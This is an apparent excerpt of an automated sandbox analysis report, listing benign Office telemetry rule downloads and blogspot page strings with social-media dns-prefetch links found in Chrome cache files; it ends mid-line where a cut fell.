Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: chromecache_336.2.dr	String found in binary or memory: 2024 ' name='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/365.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blogspot.com' rel='dns-prefetch'/><link href='//28.2bp.blogspot.com' rel='dns-prefetch'/><link href='//3.bp.blogspot.com' rel='dns-prefetch'/><link href='//4.bp.blogspot.com' rel='dns-prefetch'/><link href='//2.bp.blogspot.com' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//maxcdn.bootstrapcdn.com' rel='dns-prefetch'/><link href='//fonts.googleapis.com' rel='dns-prefetch'/><link href='//use.fontawesome.com' rel='dns-prefetch'/><link href='//ajax.googleapis.com' rel='dns-prefetch'/><link href='//resources.blogblog.com' rel='dns-prefetch'/><link href='//www.facebook.com' rel='dns-prefetch'/><link href='//plus.google.com' rel='dns-prefetch'/><link href='//twitter.com' rel='dns-prefetch'/><link href='//www.youtube.com' rel='dns-prefetch'/><link href='//feedburner.google.com' rel='dns-prefetch'/><link href='//www.pinterest.com' rel='dns-prefetch'/><link href='//www.linkedin.com' rel='dns-prefetch'/><link href='//feeds.feedburner.com' rel='dns-prefetch'/><link href='//github.com' rel='dns-prefetch'/><link href='//player.vimeo.com' rel='dns-prefetch'/><link href='//platform.twitter.com' rel='dns-prefetch'/><link href='//apis.google.com' rel='dns-prefetch'/><link href='//connect.facebook.net' rel='dns-prefetch'/><link href='//cdnjs.cloudflare.com' rel='dns-prefetch'/><link href='//www.google-analytics.com' rel='dns-prefetch'/><link href='//pagead2.googlesyndication.com' rel='dns-prefetch'/><link href='//googleads.g.doubleclick.net' rel='dns-prefetch'/><link href='//www.gstatic.com' rel='preconnect'/><link href='//www.googletagservices.com' rel='dns-prefetch'/><link href='//static.xx.fbcdn.net' rel='dns-prefetch'/><link href='//tpc.googlesyndication.com' rel='dns-prefetch'/><link href='//syndication.twitter.com' rel='dns-prefetch'/> equals www.facebook.com (Facebook)
Source: chromecache_218.2.dr, chromecache_336.2.dr	String found in binary or memory: 2024 ' name='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/365.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blogspot.com' rel='dns-prefetch'/><link href='//28.2bp.blogspot.com' rel='dns-prefetch'/><link href='//3.bp.blogspot.com' rel='dns-prefetch'/><link href='//4.bp.blogspot.com' rel='dns-prefetch'/><link href='//2.bp.blogspot.com' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//maxcdn.bootstrapcdn.com' rel='dns-prefetch'/><link href='//fonts.googleapis.com' rel='dns-prefetch'/><link href='//use.fontawesome.com' rel='dns-prefetch'/><link href='//ajax.googleapis.com' rel='dns-prefetch'/><link href='//resources.blogblog.com' rel='dns-prefetch'/><link href='//www.facebook.com' rel='dns-prefetch'/><link href='//plus.google.com' rel='dns-prefetch'/><link href='//twitter.com' rel='dns-prefetch'/><link href='//www.youtube.com' rel='dns-prefetch'/><link href='//feedburner.google.com' rel='dns-prefetch'/><link href='//www.pinterest.com' rel='dns-prefetch'/><link href='//www.linkedin.com' rel='dns-prefetch'/><link href='//feeds.feedburner.com' rel='dns-prefetch'/><link href='//github.com' rel='dns-prefetch'/><link href='//player.vimeo.com' rel='dns-prefetch'/><link href='//platform.twitter.com' rel='dns-prefetch'/><link href='//apis.google.com' rel='dns-prefetch'/><link href='//connect.facebook.net' rel='dns-prefetch'/><link href='//cdnjs.cloudflare.com' rel='dns-prefetch'/><link href='//www.google-analytics.com' rel='dns-prefetch'/><link href='//pagead2.googlesyndication.com' rel='dns-prefetch'/><link href='//googleads.g.doubleclick.net' rel='dns-prefetch'/><link href='//www.gstatic.com' rel='preconnect'/><link href='//www.googletagservices.com' rel='dns-prefetch'/><link href='//static.xx.fbcdn.net' rel='dns-prefetch'/><link href='//tpc.googlesyndication.com' rel='dns-prefetch'/><link href='//syndication.twitter.com' rel='dns-prefetch'/> equals www.linkedin.com (Linkedin)
Source: chromecache_336.2.dr	String found in binary or memory: 2024 ' name='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/365.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blogspot.com' rel='dns-prefetch'/><link href='//28.2bp.blogspot.com' rel='dns-prefetch'/><link href='//3.bp.blogspot.com' rel='dns-prefetch'/><link href='//4.bp.blogspot.com' rel='dns-prefetch'/><link href='//2.bp.blogspot.com' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//maxcdn.bootstrapcdn.com' rel='dns-prefetch'/><link href='//fonts.googleapis.com' rel='dns-prefetch'/><link href='//use.fontawesome.com' rel='dns-prefetch'/><link href='//ajax.googleapis.com' rel='dns-prefetch'/><link href='//resources.blogblog.com' rel='dns-prefetch'/><link href='//www.facebook.com' rel='dns-prefetch'/><link href='//plus.google.com' rel='dns-prefetch'/><link href='//twitter.com' rel='dns-prefetch'/><link href='//www.youtube.com' rel='dns-prefetch'/><link href='//feedburner.google.com' rel='dns-prefetch'/><link href='//www.pinterest.com' rel='dns-prefetch'/><link href='//www.linkedin.com' rel='dns-prefetch'/><link href='//feeds.feedburner.com' rel='dns-prefetch'/><link href='//github.com' rel='dns-prefetch'/><link href='//player.vimeo.com' rel='dns-prefetch'/><link href='//platform.twitter.com' rel='dns-prefetch'/><link href='//apis.google.com' rel='dns-prefetch'/><link href='//connect.facebook.net' rel='dns-prefetch'/><link href='//cdnjs.cloudflare.com' rel='dns-prefetch'/><link href='//www.google-analytics.com' rel='dns-prefetch'/><link href='//pagead2.googlesyndication.com' rel='dns-prefetch'/><link href='//googleads.g.doubleclick.net' rel='dns-prefetch'/><link href='//www.gstatic.com' rel='preconnect'/><link href='//www.googletagservices.com' rel='dns-prefetch'/><link href='//static.xx.fbcdn.net' rel='dns-prefetch'/><link href='//tpc.googlesyndication.com' rel='dns-prefetch'/><link href='//syndication.twitter.com' rel='dns-prefetch'/> equals www.twitter.com (Twitter)
Source: chromecache_218.2.dr, chromecache_336.2.dr	String found in binary or memory: 2024 ' name='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/365.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blogspot.com' rel='dns-prefetch'/><link href='//28.2bp.blogspot.com' rel='dns-prefetch'/><link href='//3.bp.blogspot.com' rel='dns-prefetch'/><link href='//4.bp.blogspot.com' rel='dns-prefetch'/><link href='//2.bp.blogspot.com' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//maxcdn.bootstrapcdn.com' rel='dns-prefetch'/><link href='//fonts.googleapis.com' rel='dns-prefetch'/><link href='//use.fontawesome.com' rel='dns-prefetch'/><link href='//ajax.googleapis.com' rel='dns-prefetch'/><link href='//resources.blogblog.com' rel='dns-prefetch'/><link href='//www.facebook.com' rel='dns-prefetch'/><link href='//plus.google.com' rel='dns-prefetch'/><link href='//twitter.com' rel='dns-prefetch'/><link href='//www.youtube.com' rel='dns-prefetch'/><link href='//feedburner.google.com' rel='dns-prefetch'/><link href='//www.pinterest.com' rel='dns-prefetch'/><link href='//www.linkedin.com' rel='dns-prefetch'/><link href='//feeds.feedburner.com' rel='dns-prefetch'/><link href='//github.com' rel='dns-prefetch'/><link href='//player.vimeo.com' rel='dns-prefetch'/><link href='//platform.twitter.com' rel='dns-prefetch'/><link href='//apis.google.com' rel='dns-prefetch'/><link href='//connect.facebook.net' rel='dns-prefetch'/><link href='//cdnjs.cloudflare.com' rel='dns-prefetch'/><link href='//www.google-analytics.com' rel='dns-prefetch'/><link href='//pagead2.googlesyndication.com' rel='dns-prefetch'/><link href='//googleads.g.doubleclick.net' rel='dns-prefetch'/><link href='//www.gstatic.com' rel='preconnect'/><link href='//www.googletagservices.com' rel='dns-prefetch'/><link href='//static.xx.fbcdn.net' rel='dns-prefetch'/><link href='//tpc.googlesyndication.com' rel='dns-prefetch'/><link href='//syndication.twitter.com' rel='dns-prefetch'/> equals www.youtube.com (Youtube)
Source: chromecache_305.2.dr	String found in binary or memory: 2024 ' name='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/4_4.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blogspot.com' rel='dns-prefetch'/><link href='//28.2bp.blogspot.com' rel='dns-prefetch'/><link href='//3.bp.blogspot.com' rel='dns-prefetch'/><link href='//4.bp.blogspot.com' rel='dns-prefetch'/><link href='//2.bp.blogspot.com' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//maxcdn.bootstrapcdn.com' rel='dns-prefetch'/><link href='//fonts.googleapis.com' rel='dns-prefetch'/><link href='//use.fontawesome.com' rel='dns-prefetch'/><link href='//ajax.googleapis.com' rel='dns-prefetch'/><link href='//resources.blogblog.com' rel='dns-prefetch'/><link href='//www.facebook.com' rel='dns-prefetch'/><link href='//plus.google.com' rel='dns-prefetch'/><link href='//twitter.com' rel='dns-prefetch'/><link href='//www.youtube.com' rel='dns-prefetch'/><link href='//feedburner.google.com' rel='dns-prefetch'/><link href='//www.pinterest.com' rel='dns-prefetch'/><link href='//www.linkedin.com' rel='dns-prefetch'/><link href='//feeds.feedburner.com' rel='dns-prefetch'/><link href='//github.com' rel='dns-prefetch'/><link href='//player.vimeo.com' rel='dns-prefetch'/><link href='//platform.twitter.com' rel='dns-prefetch'/><link href='//apis.google.com' rel='dns-prefetch'/><link href='//connect.facebook.net' rel='dns-prefetch'/><link href='//cdnjs.cloudflare.com' rel='dns-prefetch'/><link href='//www.google-analytics.com' rel='dns-prefetch'/><link href='//pagead2.googlesyndication.com' rel='dns-prefetch'/><link href='//googleads.g.doubleclick.net' rel='dns-prefetch'/><link href='//www.gstatic.com' rel='preconnect'/><link href='//www.googletagservices.com' rel='dns-prefetch'/><link href='//static.xx.fbcdn.net' rel='dns-prefetch'/><link href='//tpc.googlesyndication.com' rel='dns-prefetch'/><link href='//syndication.twitter.com' rel='dns-prefetch'/> equals www.facebook.com (Facebook)
Source: chromecache_333.2.dr, chromecache_305.2.dr	String found in binary or memory: 2024 ' name='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/4_4.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blogspot.com' rel='dns-prefetch'/><link href='//28.2bp.blogspot.com' rel='dns-prefetch'/><link href='//3.bp.blogspot.com' rel='dns-prefetch'/><link href='//4.bp.blogspot.com' rel='dns-prefetch'/><link href='//2.bp.blogspot.com' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//maxcdn.bootstrapcdn.com' rel='dns-prefetch'/><link href='//fonts.googleapis.com' rel='dns-prefetch'/><link href='//use.fontawesome.com' rel='dns-prefetch'/><link href='//ajax.googleapis.com' rel='dns-prefetch'/><link href='//resources.blogblog.com' rel='dns-prefetch'/><link href='//www.facebook.com' rel='dns-prefetch'/><link href='//plus.google.com' rel='dns-prefetch'/><link href='//twitter.com' rel='dns-prefetch'/><link href='//www.youtube.com' rel='dns-prefetch'/><link href='//feedburner.google.com' rel='dns-prefetch'/><link href='//www.pinterest.com' rel='dns-prefetch'/><link href='//www.linkedin.com' rel='dns-prefetch'/><link href='//feeds.feedburner.com' rel='dns-prefetch'/><link href='//github.com' rel='dns-prefetch'/><link href='//player.vimeo.com' rel='dns-prefetch'/><link href='//platform.twitter.com' rel='dns-prefetch'/><link href='//apis.google.com' rel='dns-prefetch'/><link href='//connect.facebook.net' rel='dns-prefetch'/><link href='//cdnjs.cloudflare.com' rel='dns-prefetch'/><link href='//www.google-analytics.com' rel='dns-prefetch'/><link href='//pagead2.googlesyndication.com' rel='dns-prefetch'/><link href='//googleads.g.doubleclick.net' rel='dns-prefetch'/><link href='//www.gstatic.com' rel='preconnect'/><link href='//www.googletagservices.com' rel='dns-prefetch'/><link href='//static.xx.fbcdn.net' rel='dns-prefetch'/><link href='//tpc.googlesyndication.com' rel='dns-prefetch'/><link href='//syndication.twitter.com' rel='dns-prefetch'/> equals www.linkedin.com (Linkedin)
Source: chromecache_305.2.dr	String found in binary or memory: 2024 ' name='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/4_4.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blogspot.com' rel='dns-prefetch'/><link href='//28.2bp.blogspot.com' rel='dns-prefetch'/><link href='//3.bp.blogspot.com' rel='dns-prefetch'/><link href='//4.bp.blogspot.com' rel='dns-prefetch'/><link href='//2.bp.blogspot.com' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//maxcdn.bootstrapcdn.com' rel='dns-prefetch'/><link href='//fonts.googleapis.com' rel='dns-prefetch'/><link href='//use.fontawesome.com' rel='dns-prefetch'/><link href='//ajax.googleapis.com' rel='dns-prefetch'/><link href='//resources.blogblog.com' rel='dns-prefetch'/><link href='//www.facebook.com' rel='dns-prefetch'/><link href='//plus.google.com' rel='dns-prefetch'/><link href='//twitter.com' rel='dns-prefetch'/><link href='//www.youtube.com' rel='dns-prefetch'/><link href='//feedburner.google.com' rel='dns-prefetch'/><link href='//www.pinterest.com' rel='dns-prefetch'/><link href='//www.linkedin.com' rel='dns-prefetch'/><link href='//feeds.feedburner.com' rel='dns-prefetch'/><link href='//github.com' rel='dns-prefetch'/><link href='//player.vimeo.com' rel='dns-prefetch'/><link href='//platform.twitter.com' rel='dns-prefetch'/><link href='//apis.google.com' rel='dns-prefetch'/><link href='//connect.facebook.net' rel='dns-prefetch'/><link href='//cdnjs.cloudflare.com' rel='dns-prefetch'/><link href='//www.google-analytics.com' rel='dns-prefetch'/><link href='//pagead2.googlesyndication.com' rel='dns-prefetch'/><link href='//googleads.g.doubleclick.net' rel='dns-prefetch'/><link href='//www.gstatic.com' rel='preconnect'/><link href='//www.googletagservices.com' rel='dns-prefetch'/><link href='//static.xx.fbcdn.net' rel='dns-prefetch'/><link href='//tpc.googlesyndication.com' rel='dns-prefetch'/><link href='//syndication.twitter.com' rel='dns-prefetch'/> equals www.twitter.com (Twitter)
Source: chromecache_333.2.dr, chromecache_305.2.dr	String found in binary or memory: 2024 ' name='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/4_4.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blogspot.com' rel='dns-prefetch'/><link href='//28.2bp.blogspot.com' rel='dns-prefetch'/><link href='//3.bp.blogspot.com' rel='dns-prefetch'/><link href='//4.bp.blogspot.com' rel='dns-prefetch'/><link href='//2.bp.blogspot.com' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//maxcdn.bootstrapcdn.com' rel='dns-prefetch'/><link href='//fonts.googleapis.com' rel='dns-prefetch'/><link href='//use.fontawesome.com' rel='dns-prefetch'/><link href='//ajax.googleapis.com' rel='dns-prefetch'/><link href='//resources.blogblog.com' rel='dns-prefetch'/><link href='//www.facebook.com' rel='dns-prefetch'/><link href='//plus.google.com' rel='dns-prefetch'/><link href='//twitter.com' rel='dns-prefetch'/><link href='//www.youtube.com' rel='dns-prefetch'/><link href='//feedburner.google.com' rel='dns-prefetch'/><link href='//www.pinterest.com' rel='dns-prefetch'/><link href='//www.linkedin.com' rel='dns-prefetch'/><link href='//feeds.feedburner.com' rel='dns-prefetch'/><link href='//github.com' rel='dns-prefetch'/><link href='//player.vimeo.com' rel='dns-prefetch'/><link href='//platform.twitter.com' rel='dns-prefetch'/><link href='//apis.google.com' rel='dns-prefetch'/><link href='//connect.facebook.net' rel='dns-prefetch'/><link href='//cdnjs.cloudflare.com' rel='dns-prefetch'/><link href='//www.google-analytics.com' rel='dns-prefetch'/><link href='//pagead2.googlesyndication.com' rel='dns-prefetch'/><link href='//googleads.g.doubleclick.net' rel='dns-prefetch'/><link href='//www.gstatic.com' rel='preconnect'/><link href='//www.googletagservices.com' rel='dns-prefetch'/><link href='//static.xx.fbcdn.net' rel='dns-prefetch'/><link href='//tpc.googlesyndication.com' rel='dns-prefetch'/><link href='//syndication.twitter.com' rel='dns-prefetch'/> equals www.youtube.com (Youtube)
Source: chromecache_324.2.dr	String found in binary or memory: 2024 ' name='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/6_11.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blogspot.com' rel='dns-prefetch'/><link href='//28.2bp.blogspot.com' rel='dns-prefetch'/><link href='//3.bp.blogspot.com' rel='dns-prefetch'/><link href='//4.bp.blogspot.com' rel='dns-prefetch'/><link href='//2.bp.blogspot.com' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//maxcdn.bootstrapcdn.com' rel='dns-prefetch'/><link href='//fonts.googleapis.com' rel='dns-prefetch'/><link href='//use.fontawesome.com' rel='dns-prefetch'/><link href='//ajax.googleapis.com' rel='dns-prefetch'/><link href='//resources.blogblog.com' rel='dns-prefetch'/><link href='//www.facebook.com' rel='dns-prefetch'/><link href='//plus.google.com' rel='dns-prefetch'/><link href='//twitter.com' rel='dns-prefetch'/><link href='//www.youtube.com' rel='dns-prefetch'/><link href='//feedburner.google.com' rel='dns-prefetch'/><link href='//www.pinterest.com' rel='dns-prefetch'/><link href='//www.linkedin.com' rel='dns-prefetch'/><link href='//feeds.feedburner.com' rel='dns-prefetch'/><link href='//github.com' rel='dns-prefetch'/><link href='//player.vimeo.com' rel='dns-prefetch'/><link href='//platform.twitter.com' rel='dns-prefetch'/><link href='//apis.google.com' rel='dns-prefetch'/><link href='//connect.facebook.net' rel='dns-prefetch'/><link href='//cdnjs.cloudflare.com' rel='dns-prefetch'/><link href='//www.google-analytics.com' rel='dns-prefetch'/><link href='//pagead2.googlesyndication.com' rel='dns-prefetch'/><link href='//googleads.g.doubleclick.net' rel='dns-prefetch'/><link href='//www.gstatic.com' rel='preconnect'/><link href='//www.googletagservices.com' rel='dns-prefetch'/><link href='//static.xx.fbcdn.net' rel='dns-prefetch'/><link href='//tpc.googlesyndication.com' rel='dns-prefetch'/><link href='//syndication.twitter.com' rel='dns-prefetch'/> equals www.facebook.com (Facebook)
Source: chromecache_224.2.dr, chromecache_324.2.dr	String found in binary or memory: 2024 ' name='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/6_11.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blogspot.com' rel='dns-prefetch'/><link href='//28.2bp.blogspot.com' rel='dns-prefetch'/><link href='//3.bp.blogspot.com' rel='dns-prefetch'/><link href='//4.bp.blogspot.com' rel='dns-prefetch'/><link href='//2.bp.blogspot.com' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//maxcdn.bootstrapcdn.com' rel='dns-prefetch'/><link href='//fonts.googleapis.com' rel='dns-prefetch'/><link href='//use.fontawesome.com' rel='dns-prefetch'/><link href='//ajax.googleapis.com' rel='dns-prefetch'/><link href='//resources.blogblog.com' rel='dns-prefetch'/><link href='//www.facebook.com' rel='dns-prefetch'/><link href='//plus.google.com' rel='dns-prefetch'/><link href='//twitter.com' rel='dns-prefetch'/><link href='//www.youtube.com' rel='dns-prefetch'/><link href='//feedburner.google.com' rel='dns-prefetch'/><link href='//www.pinterest.com' rel='dns-prefetch'/><link href='//www.linkedin.com' rel='dns-prefetch'/><link 